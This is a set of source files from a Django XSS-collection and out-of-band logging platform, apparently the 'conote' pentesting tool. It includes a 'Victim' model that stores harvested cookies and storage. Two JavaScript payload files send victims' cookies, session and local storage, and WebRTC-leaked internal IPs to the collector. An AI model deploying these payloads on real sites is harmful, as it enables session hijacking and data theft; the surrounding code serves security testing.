help_text='输出内容的时候同时输出的HTTP头(全局配置)', 41 | widget=forms.Textarea(attrs={'rows': 5, 'placeholder': PLACE_HEADERS}), 42 | required=False 43 | ) 44 | serverchan_token = forms.CharField(label='Server酱SCKEY', help_text='填写Server酱的SCKEY,你将可以在微信接受到一些通知(如XSS收信通知等)', required=False) 45 | 46 | def clean_default_status_code(self): 47 | default_status_code = self.cleaned_data['default_status_code'] 48 | if default_status_code >= 600 or default_status_code < 100: 49 | raise forms.ValidationError('状态码错误') 50 | 51 | return default_status_code 52 | -------------------------------------------------------------------------------- /app/ucenter/management/commands/ctrlserver.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import subprocess 4 | from xmlrpc.server import SimpleXMLRPCServer 5 | from xmlrpc.server import SimpleXMLRPCRequestHandler 6 | 7 | from django.contrib.auth import get_user_model 8 | from django.core.management.base import BaseCommand 9 | from django.conf import settings 10 | 11 | 12 | User = get_user_model() 13 | logger = logging.getLogger('conote') 14 | 15 | 16 | def reload_nginx(): 17 | logger.info('Nginx is reload.') 18 | result = subprocess.run(['nginx', '-s', 'reload']) 19 | return result.returncode == 0 20 | 21 | 22 | class Command(BaseCommand): 23 | def handle(self, *args, **options): 24 | server = SimpleXMLRPCServer(settings.CTRL_SERVER_ADDRESS) 25 | server.register_introspection_functions() 26 | 27 | server.register_function(reload_nginx) 28 | 29 | try: 30 | logger.info('Ctrl server \'http://%s:%d\' is running...' % settings.CTRL_SERVER_ADDRESS) 31 | server.serve_forever() 32 | except KeyboardInterrupt: 33 | logger.info("Keyboard interrupt received, exiting.") 34 | server.server_close() 35 | sys.exit(0) 36 | -------------------------------------------------------------------------------- /app/ucenter/management/commands/generate_caddyfile.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import logging 4 | import subprocess 5 | import shutil 6 | 7 | from django.contrib.auth import get_user_model 8 | from django.core.management.base import BaseCommand 9 | from django.conf import settings 10 | 11 | 12 | User = get_user_model() 13 | logger = logging.getLogger('conote') 14 | 15 | 16 | def reload_caddy(): 17 | logger.info('reload caddy...') 18 | result = subprocess.run(['systemctl', 'restart', 'caddy']) 19 | return result.returncode == 0 20 | 21 | 22 | def write_configuration(domain_list): 23 | config = r'''%s { 24 | import ../conote 25 | } 26 | ''' % domain_list 27 | filename = os.path.join('/etc/caddy', 'vhosts', 'main.conf') 28 | with open(filename, 'w', encoding='utf-8') as f: 29 | f.write(config) 30 | shutil.chown(filename, 'www-data', 'www-data') 31 | 32 | 33 | class Command(BaseCommand): 34 | def handle(self, *args, **options): 35 | domain_list = [] 36 | 37 | try: 38 | logger.info('recreate caddyfile configuration...') 39 | for user in User.objects.filter(is_active=True).all(): 40 | domain_list.append('http://{domain}.{base}'.format(domain=user.domain, base=settings.O_SERVER_DOMAIN)) 41 | 42 | write_configuration(', '.join(domain_list)) 43 | reload_caddy() 44 | except Exception as e: 45 | logger.exception(e) 46 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-27 10:23 3 | from __future__ import unicode_literals 4 | 5 | import django.contrib.auth.models 6 | import django.contrib.auth.validators 7 | from django.db import migrations, models 8 | import django.utils.timezone 9 | 10 | 11 | class Migration(migrations.Migration): 12 | 13 | initial = True 14 | 15 | dependencies = [ 16 | ('auth', '0008_alter_user_username_max_length'), 17 | ] 18 | 19 | operations = [ 20 | migrations.CreateModel( 21 | name='User', 22 | fields=[ 23 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 24 | ('password', models.CharField(max_length=128, verbose_name='password')), 25 | ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), 26 | ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), 27 | ('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')), 28 | ('first_name', models.CharField(blank=True, max_length=30, verbose_name='first name')), 29 | ('last_name', models.CharField(blank=True, max_length=30, verbose_name='last name')), 30 | ('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')), 31 | ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), 32 | ('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')), 33 | ('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')), 34 | ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), 35 | ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), 36 | ], 37 | options={ 38 | 'verbose_name_plural': 'users', 39 | 'verbose_name': 'user', 40 | 'abstract': False, 41 | 'swappable': 'AUTH_USER_MODEL', 42 | }, 43 | managers=[ 44 | ('objects', django.contrib.auth.models.UserManager()), 45 | ], 46 | ), 47 | ] 48 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0002_user_token.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-27 10:53 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('ucenter', '0001_initial'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='user', 17 | name='token', 18 | field=models.CharField(blank=True, max_length=256, null=True, verbose_name='Token'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0003_auto_20170827_2259.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-27 14:59 3 | from __future__ import unicode_literals 4 | 5 | import app.ucenter.models 6 | from django.db import migrations, models 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | dependencies = [ 12 | ('ucenter', '0002_user_token'), 13 | ] 14 | 15 | operations = [ 16 | migrations.AddField( 17 | model_name='user', 18 | name='apikey', 19 | field=models.CharField(default=app.ucenter.models.get_api_key, max_length=32, unique=True, verbose_name='API密钥'), 20 | ), 21 | migrations.AddField( 22 | model_name='user', 23 | name='domain', 24 | field=models.CharField(default=app.ucenter.models.get_domain_key, max_length=8, unique=True, verbose_name='子域名'), 25 | ), 26 | ] 27 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0004_user_auth_id.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-29 15:22 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('ucenter', '0003_auto_20170827_2259'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='user', 17 | name='auth_id', 18 | field=models.UUIDField(blank=True, null=True, unique=True, verbose_name='唯一ID'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0005_auto_20170830_0045.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-29 16:45 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('ucenter', '0004_user_auth_id'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='user', 17 | name='email', 18 | field=models.EmailField(max_length=254, unique=True, verbose_name='邮箱'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0006_user_option.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-06 19:48 3 | from __future__ import unicode_literals 4 | 5 | import app.ucenter.models 6 | from django.db import migrations 7 | import jsonfield.fields 8 | 9 | 10 | class Migration(migrations.Migration): 11 | 12 | dependencies = [ 13 | ('ucenter', '0005_auto_20170830_0045'), 14 | ] 15 | 16 | operations = [ 17 | migrations.AddField( 18 | model_name='user', 19 | name='option', 20 | field=jsonfield.fields.JSONField(default=dict(ignore_note=True, filter=None), verbose_name='设置'), 21 | ), 22 | ] 23 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0007_auto_20170907_0446.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-06 20:46 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations 6 | import jsonfield.fields 7 | 8 | 9 | def add_drop(apps, schema_editor): 10 | User = apps.get_model("ucenter", "User") 11 | for user in User.objects.all(): 12 | user.option['drop'] = 'robots.txt|favicon.ico' 13 | user.save() 14 | 15 | 16 | def drop_drop(apps, schema_editor): 17 | User = apps.get_model("ucenter", "User") 18 | for user in User.objects.all(): 19 | del user.option['drop'] 20 | user.save() 21 | 22 | 23 | class Migration(migrations.Migration): 24 | 25 | dependencies = [ 26 | ('ucenter', '0006_user_option'), 27 | ] 28 | 29 | operations = [ 30 | migrations.AlterField( 31 | model_name='user', 32 | name='option', 33 | field=jsonfield.fields.JSONField(default={'drop': 'robots.txt|favicon.ico', 'filter': None, 'ignore_note': True}, verbose_name='设置'), 34 | ), 35 | migrations.RunPython(code=add_drop, reverse_code=drop_drop) 36 | ] 37 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0008_user_is_vip.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.10 on 2018-04-03 12:48 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('ucenter', '0007_auto_20170907_0446'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='user', 17 | name='is_vip', 18 | field=models.BooleanField(default=False, verbose_name='VIP用户'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0009_auto_20180414_0202.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.0.4 on 2018-04-13 18:02 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ucenter', '0008_user_is_vip'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='user', 15 | name='last_name', 16 | field=models.CharField(blank=True, max_length=150, verbose_name='last name'), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0010_auto_20190414_0152.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.1 on 2019-04-13 17:52 2 | 3 | from django.db import migrations 4 | import jsonfield.fields 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('ucenter', '0009_auto_20180414_0202'), 11 | ] 12 | 13 | operations = [ 14 | migrations.AlterField( 15 | model_name='user', 16 | name='option', 17 | field=jsonfield.fields.JSONField(default={'default_status_code': 200, 'drop': 'robots.txt|favicon.ico', 'filter': None, 'ignore_note': True}, verbose_name='设置'), 18 | ), 19 | ] 20 | -------------------------------------------------------------------------------- /app/ucenter/migrations/0011_auto_20210529_2342.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.3 on 2021-05-29 15:42 2 | 3 | import app.ucenter.models 4 | from django.db import migrations, models 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('ucenter', '0010_auto_20190414_0152'), 11 | ] 12 | 13 | operations = [ 14 | migrations.AlterField( 15 | model_name='user', 16 | name='first_name', 17 | field=models.CharField(blank=True, max_length=150, verbose_name='first name'), 18 | ), 19 | migrations.AlterField( 20 | model_name='user', 21 | name='option', 22 | field=models.JSONField(default=app.ucenter.models.get_default_options, verbose_name='设置'), 23 | ), 24 | ] 25 | -------------------------------------------------------------------------------- /app/ucenter/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/ucenter/migrations/__init__.py -------------------------------------------------------------------------------- /app/ucenter/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | from django.contrib.auth.models import AbstractUser 3 | from django.utils.crypto import get_random_string 4 | from django.conf import settings 5 | from django.db.models import JSONField 6 | 7 | 8 | def get_domain_key(): 9 | return get_random_string(8, 'abcdef0123456789') 10 | 11 | 12 | def get_api_key(): 13 | return get_random_string(32, 'abcdef0123456789') 14 | 15 | 16 | def get_default_options(): 17 | return dict( 18 | ignore_note=True, 19 | filter=None, 20 | drop='robots.txt|favicon.ico', 21 | default_status_code=200 22 | ) 23 | 24 | 25 | class User(AbstractUser): 26 | email = models.EmailField('邮箱', unique=True) 27 | auth_id = models.UUIDField('唯一ID', null=True, blank=True, unique=True) 28 | token = models.CharField('Token', max_length=256, blank=True, null=True) 29 | option = JSONField('设置', default=get_default_options) 30 | is_vip = models.BooleanField('VIP用户', default=False) 31 | 32 | domain = models.CharField('子域名', max_length=8, default=get_domain_key, unique=True) 33 | apikey = models.CharField('API密钥', max_length=32, default=get_api_key, unique=True) 34 | 35 | class Meta(AbstractUser.Meta): 36 | swappable = 'AUTH_USER_MODEL' 37 | 38 | def __str__(self): 39 | return self.username 40 | 41 | def get_user_domain(self): 42 | return "{}.{}".format(self.domain, settings.O_SERVER_DOMAIN) 43 | 44 | def get_dns_record(self): 45 | return "{}.{}".format(self.domain, settings.O_REBIND_DOMAIN) 46 | 47 | def refresh_apikey(self): 48 | self.apikey = get_api_key() 49 | self.save() 50 | -------------------------------------------------------------------------------- /app/ucenter/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /app/ucenter/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | 3 | from . import views 4 | 5 | 6 | app_name = 'ucenter' 7 | urlpatterns = [ 8 | path('login/', views.jump_for_login, name='login'), 9 | path('callback/', views.callback, name='callback'), 10 | path('check/', views.RegisterView.as_view(), name='check'), 11 | 12 | path('option/', views.OptionView.as_view(), name='option') 13 | ] 14 | -------------------------------------------------------------------------------- /app/xss/__init__.py: -------------------------------------------------------------------------------- 1 | default_app_config = 'app.xss.apps.XssConfig' 2 | -------------------------------------------------------------------------------- /app/xss/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from django import forms 3 | from django.utils.html import format_html 4 | from django.views.decorators.http import require_http_methods 5 | from django.core import exceptions 6 | from django.shortcuts import redirect, get_object_or_404, resolve_url 7 | 8 | from . import models 9 | 10 | 11 | @admin.register(models.Project, site=admin.site) 12 | class ProjectAdmin(admin.ModelAdmin): 13 | list_display = ('name', 'description', 'created_time', 'user') 14 | readonly_fields = ('user', 'created_time', 'last_modify_time') 15 | search_fields = ('name', ) 16 | fieldsets = ( 17 | (None, { 18 | 'fields': ('name', 'description', 'payload') 19 | }), 20 | ('信息', { 21 | 'classes': ('wide',), 22 | 'fields': readonly_fields 23 | }), 24 | ) 25 | 26 | def save_model(self, request, obj, form, change): 27 | obj.user = request.user 28 | obj.save() 29 | 30 | 31 | @admin.register(models.Payload, site=admin.site) 32 | class PayloadAdmin(admin.ModelAdmin): 33 | list_display = ('name', 'description', 'data') 34 | readonly_fields = ('created_time', 'last_modify_time') 35 | search_fields = ('data', ) 36 | fieldsets = ( 37 | (None, { 38 | 'fields': ('name', 'description', 'data', ) 39 | }), 40 | ('信息', { 41 | 'classes': ('wide',), 42 | 'fields': readonly_fields 43 | }), 44 | ) 45 | -------------------------------------------------------------------------------- /app/xss/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class XssConfig(AppConfig): 5 | name = 'app.xss' 6 | label = 'xss' 7 | verbose_name = 'XSS平台' 8 | -------------------------------------------------------------------------------- /app/xss/forms.py: -------------------------------------------------------------------------------- 1 | from django import forms 2 | from django.core import exceptions 3 | 4 | from . import models 5 | from conote.field import AceEditorTextarea 6 | 7 | 8 | class ProjectForm(forms.ModelForm): 9 | class Meta: 10 | model = models.Project 11 | fields = [ 12 | 'name', 13 | 'description', 14 | 'payload' 15 | ] 16 | widgets = { 17 | 'payload': AceEditorTextarea() 18 | } 19 | -------------------------------------------------------------------------------- /app/xss/migrations/0002_auto_20180409_0216.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2018-04-08 18:16 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('xss', '0001_initial'), 12 | ] 13 | 14 | operations = [ 15 | migrations.RemoveField( 16 | model_name='victim', 17 | name='cookie', 18 | ), 19 | migrations.RemoveField( 20 | model_name='victim', 21 | name='user_agent', 22 | ), 23 | ] 24 | -------------------------------------------------------------------------------- /app/xss/migrations/0003_victim_is_view.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2018-04-09 18:05 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('xss', '0002_auto_20180409_0216'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='victim', 17 | name='is_view', 18 | field=models.BooleanField(default=False, verbose_name='查看'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/xss/migrations/0004_alter_victim_data.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.3 on 2021-05-29 15:26 2 | 3 | import app.xss.models 4 | from django.db import migrations, models 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('xss', '0003_victim_is_view'), 11 | ] 12 | 13 | operations = [ 14 | migrations.AlterField( 15 | model_name='victim', 16 | name='data', 17 | field=models.JSONField(default=app.xss.models.return_object, verbose_name='数据'), 18 | ), 19 | ] 20 | -------------------------------------------------------------------------------- /app/xss/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/xss/migrations/__init__.py -------------------------------------------------------------------------------- /app/xss/models.py: -------------------------------------------------------------------------------- 1 | import json 2 | from django.db import models 3 | from django.utils import timezone 4 | from django.template.defaultfilters import date 5 | from django.db.models import JSONField 6 | from django.conf import settings 7 | from hashids import Hashids 8 | from django.http.cookie import parse_cookie 9 | 10 | 11 | hashids = Hashids(salt='c0n0tE_1s_G00d_p1Atf0rM', min_length=4) 12 | 13 | 14 | class Payload(models.Model): 15 | name = models.CharField('名称', max_length=128, null=True, blank=False) 16 | description = models.CharField('描述', max_length=256, null=True, blank=True) 17 | data = models.TextField('Payload') 18 | 19 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 20 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 21 | 22 | def __str__(self): 23 | return self.name 24 | 25 | class Meta: 26 | ordering = ['-created_time'] 27 | verbose_name = 'XSS攻击向量' 28 | verbose_name_plural = verbose_name 29 | 30 | 31 | def generate_project_name(): 32 | return date(timezone.localtime(timezone.now()), '项目(YmdHis)') 33 | 34 | 35 | class Project(models.Model): 36 | name = models.CharField('名称', max_length=128, default=generate_project_name) 37 | payload = models.TextField('代码', blank=True) 38 | description = models.CharField('描述', max_length=256, null=True, blank=True, help_text='一些辅助性描述') 39 | 40 | user = models.ForeignKey( 41 | settings.AUTH_USER_MODEL, 42 | verbose_name='用户', 43 | on_delete=models.CASCADE, 44 | related_name='xss_projects' 45 | ) 46 | 47 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 48 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 49 | 50 | def __str__(self): 51 | return self.name 52 | 53 | class Meta: 54 | ordering = ['-created_time'] 55 | verbose_name = '项目' 56 | verbose_name_plural = verbose_name 57 | 58 | def get_absolute_url(self): 59 | return 'http://{host}/{id}'.format(host=settings.O_XSS_DOMAIN, id=hashids.encode(self.pk)) 60 | 61 | @staticmethod 62 | def decode_id(ids): 63 | return hashids.decode(ids) 64 | 65 | def get_tz_url(self): 66 | return '//{host}/{id}.png'.format(host=settings.O_XSS_DOMAIN, id=hashids.encode(self.pk)) 67 | 68 | 69 | def return_object(): 70 | return {} 71 | 72 | 73 | class Victim(models.Model): 74 | url = models.TextField('当前URL') 75 | log = models.OneToOneField( 76 | 'log.WebLog', 77 | verbose_name='Web日志', 78 | null=True, 79 | on_delete=models.SET_NULL 80 | ) 81 | data = JSONField('数据', default=return_object) 82 | ip_addr = models.GenericIPAddressField('IP地址') 83 | location = models.CharField('地区', max_length=256, blank=True, null=True) 84 | 85 | project = models.ForeignKey( 86 | 'Project', 87 | verbose_name='主机', 88 | on_delete=models.CASCADE, 89 | related_name='victims' 90 | ) 91 | is_view = models.BooleanField('查看', default=False) 92 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 93 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 94 | 95 | def __str__(self): 96 | return self.url 97 | 98 | class Meta: 99 | ordering = ['-created_time'] 100 | verbose_name = '主机' 101 | verbose_name_plural = verbose_name 102 | 103 | def cookies(self): 104 | try: 105 | return parse_cookie(self.data.get('cookie', '')) 106 | except: 107 | return {} 108 | 109 | def local_storage(self): 110 | try: 111 | return json.loads(self.data.get('ls', '{}')) 112 | except: 113 | return {} 114 | 115 | def session_storage(self): 116 | try: 117 | return json.loads(self.data.get('ss', '{}')) 118 | except: 119 | return {} 120 | -------------------------------------------------------------------------------- /app/xss/payloads/common.js: -------------------------------------------------------------------------------- 1 | /* 2 | 普通xss模块,获取一些信息并返回 3 | */ 4 | co.api.send({ 5 | ua: co.information.userAgent(), 6 | cookie: co.information.cookie(), 7 | ss: co.information.sessionStorage(), 8 | ls: co.information.localStorage(), 9 | wl: co.information.location(), 10 | wtl: co.information.topLocation(), 11 | opener: co.information.opener(), 12 | referer: co.information.referer() 13 | }) -------------------------------------------------------------------------------- /app/xss/payloads/get_inner_ip_webrtc.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 获取内网IP模块 3 | */ 4 | var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; 5 | 6 | if (window.RTCIceGatherer || RTCPeerConnection){ 7 | 8 | var addrs = Object.create(null); 9 | addrs["0.0.0.0"] = false; 10 | 11 | // Prefer RTCIceGatherer of simplicity. 12 | if (window.RTCIceGatherer) { 13 | var iceGatherer = new RTCIceGatherer({ 14 | "gatherPolicy": "all", 15 | "iceServers": [ ], 16 | }); 17 | iceGatherer.onlocalcandidate = function (evt) { 18 | if (evt.candidate.type) { 19 | // There may be multiple IP addresses 20 | if (evt.candidate.type == "host") { 21 | // The ones marked "host" are local IP addresses 22 | processIPs(evt.candidate.ip, 1); 23 | }; 24 | } 25 | }; 26 | } else { 27 | // Construct RTC peer connection 28 | var servers = {iceServers:[]}; 29 | var mediaConstraints = {optional:[{googIPv6: true}]}; 30 | var rtc = new RTCPeerConnection(servers, mediaConstraints); 31 | rtc.createDataChannel('', {reliable:false}); 32 | 33 | // Upon an ICE candidate being found 34 | // Grep the SDP data for IP address data 35 | rtc.onicecandidate = function (evt) { 36 | if (evt.candidate){ 37 | // There may be multiple local IP addresses 38 | grepSDP("a="+evt.candidate.candidate); 39 | } 40 | }; 41 | 42 | // Create an SDP offer 43 | rtc.createOffer(function (offerDesc) { 44 | grepSDP(offerDesc.sdp); 45 | rtc.setLocalDescription(offerDesc); 46 | }, function (e) {}); 47 | }; 48 | 49 | // Return results 50 | function processIPs(newAddr, pos) { 51 | if (newAddr in addrs) return; 52 | else addrs[newAddr] = true; 53 | var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); 54 | 55 | if(displayAddrs) { 56 | var data = {} 57 | data['inner_ip_' + pos] = displayAddrs.join(",") 58 | co.api.send(data) 59 | } 60 | } 61 | 62 | 63 | // Retrieve IP addresses from SDP 64 | function grepSDP(sdp) { 65 | var hosts = []; 66 | sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 67 | if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 68 | var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 69 | addr = parts[4], 70 | type = parts[7]; 71 | if (type === 'host') processIPs(addr, 2); 72 | } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 73 | var parts = line.split(' '), 74 | addr = parts[2]; 75 | processIPs(addr, 3); 76 | } 77 | }); 78 | } 79 | } -------------------------------------------------------------------------------- /app/xss/static/js/xss/xss.min.js: -------------------------------------------------------------------------------- 1 | "use strict";require.config({paths:{vs:"https://cdn.jsdelivr.net/npm/monaco-editor@0.13.1/min/vs"}}),require(["vs/editor/editor.main"],function(){$("#btn-panel").show().insertBefore($("#editor"));var a=monaco.editor.create(document.getElementById("editor"),{value:$("#id_payload").val(),language:"javascript",wordWrap:"on"});new ClipboardJS(".clip-btn");$("#minify").on("click",function(){var e=uglify.minify(a.getValue()),t=e.code;e.error;a.setValue(t)}),$("#beautify").on("click",function(){var e=beautify(a.getValue());a.setValue(e)}),$("#project-submit").on("click",function(){var e=a.getValue();$("#id_payload").val(e),$("#project-form").submit()}),$("#payload-template").chosen().change(function(){var e=uglify.minify($("#payload-template").val()),t=e.code;e.error;a.trigger("keyboard","type",{text:t})})}); -------------------------------------------------------------------------------- /app/xss/static/vendor/chosen/chosen-sprite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/xss/static/vendor/chosen/chosen-sprite.png -------------------------------------------------------------------------------- /app/xss/static/vendor/chosen/chosen-sprite@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/xss/static/vendor/chosen/chosen-sprite@2x.png -------------------------------------------------------------------------------- /app/xss/templates/widgets/ace_editor_textarea.html: -------------------------------------------------------------------------------- 1 |
2 | 4 | -------------------------------------------------------------------------------- /app/xss/templatetags/victim_helper.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from django import template 4 | from django.utils.encoding import force_str 5 | from conote.const import VICTIM_SORT 6 | 7 | 8 | register = template.Library() 9 | 10 | 11 | @register.simple_tag 12 | def victim_sort(key): 13 | return force_str(dict(VICTIM_SORT).get(key, key)) 14 | -------------------------------------------------------------------------------- /app/xss/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /app/xss/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | 3 | from . import views 4 | 5 | 6 | app_name = 'xss' 7 | urlpatterns = [ 8 | path('project/', views.ProjectList.as_view(), name='project-create'), 9 | path('project//', views.ProjectList.as_view(), name='project-detail'), 10 | path('project//delete/', views.ProjectDelete.as_view(), name='project-delete'), 11 | path('victim/', views.VictimList.as_view(), name='victim-list'), 12 | path('victim//', views.VictimDetail.as_view(), name='victim-detail'), 13 | path('victim//delete/', views.VictimDelete.as_view(), name='victim-delete'), 14 | ] 15 | -------------------------------------------------------------------------------- /conf/caddy/Caddyfile: -------------------------------------------------------------------------------- 1 | { 2 | admin off 3 | auto_https disable_redirects 4 | } 5 | 6 | http://note.leavesongs.com { 7 | redir https://note.leavesongs.com{uri} permanent 8 | } 9 | 10 | https://note.leavesongs.com { 11 | @static path /static/* /media/* 12 | 13 | handle @static { 14 | root * /data/conote 15 | file_server 16 | } 17 | 18 | handle /ws/* { 19 | reverse_proxy localhost:8078 20 | } 21 | 22 | handle { 23 | reverse_proxy localhost:8076 24 | } 25 | } 26 | 27 | :80 { 28 | reverse_proxy * localhost:8076 29 | } 30 | 31 | http://mhz.pw https://mhz.pw { 32 | reverse_proxy * localhost:8076 33 | 34 | handle /game/* { 35 | redir http://t.mhz.pw{uri} permanent 36 | } 37 | } 38 | 39 | https://*.o53.xyz { 40 | reverse_proxy * localhost:8076 41 | tls /etc/ssl/conote/full_chain.pem /etc/ssl/conote/private.key 42 | } -------------------------------------------------------------------------------- /conf/settings_deploy.py: -------------------------------------------------------------------------------- 1 | from .settings import * 2 | 3 | 4 | SECRET_KEY = os.environ.get('SECRET_KEY') 5 | 6 | DEBUG = False 7 | ALLOWED_HOSTS = ['*'] 8 | SECURE_CONTENT_TYPE_NOSNIFF = True 9 | SECURE_BROWSER_XSS_FILTER = True 10 | X_FRAME_OPTIONS = 'DENY' 11 | # SESSION_COOKIE_SECURE = True 12 | # CSRF_COOKIE_SECURE = True 13 | CSRF_COOKIE_HTTPONLY = True 14 | 15 | IP_HEADER = 'HTTP_X_FORWARDED_FOR' 16 | 17 | OAUTH = { 18 | 'client_id': os.environ.get('CLIENT_ID'), 19 | 'client_secret': os.environ.get('CLIENT_SECRET'), 20 | 'callback_url': os.environ.get('CALLBACK_URL') 21 | } 22 | 23 | O_MAIN_DOMAIN = 'note.leavesongs.com' 24 | O_SERVER_SCHEME = 'https' 25 | O_SERVER_DOMAIN = 'o53.xyz' 26 | O_NS1_DOMAIN = 'ns1.leavesongs.com' 27 | O_NS2_DOMAIN = 'ns2.leavesongs.com' 28 | O_SERVER_IP = '45.32.43.49' 29 | 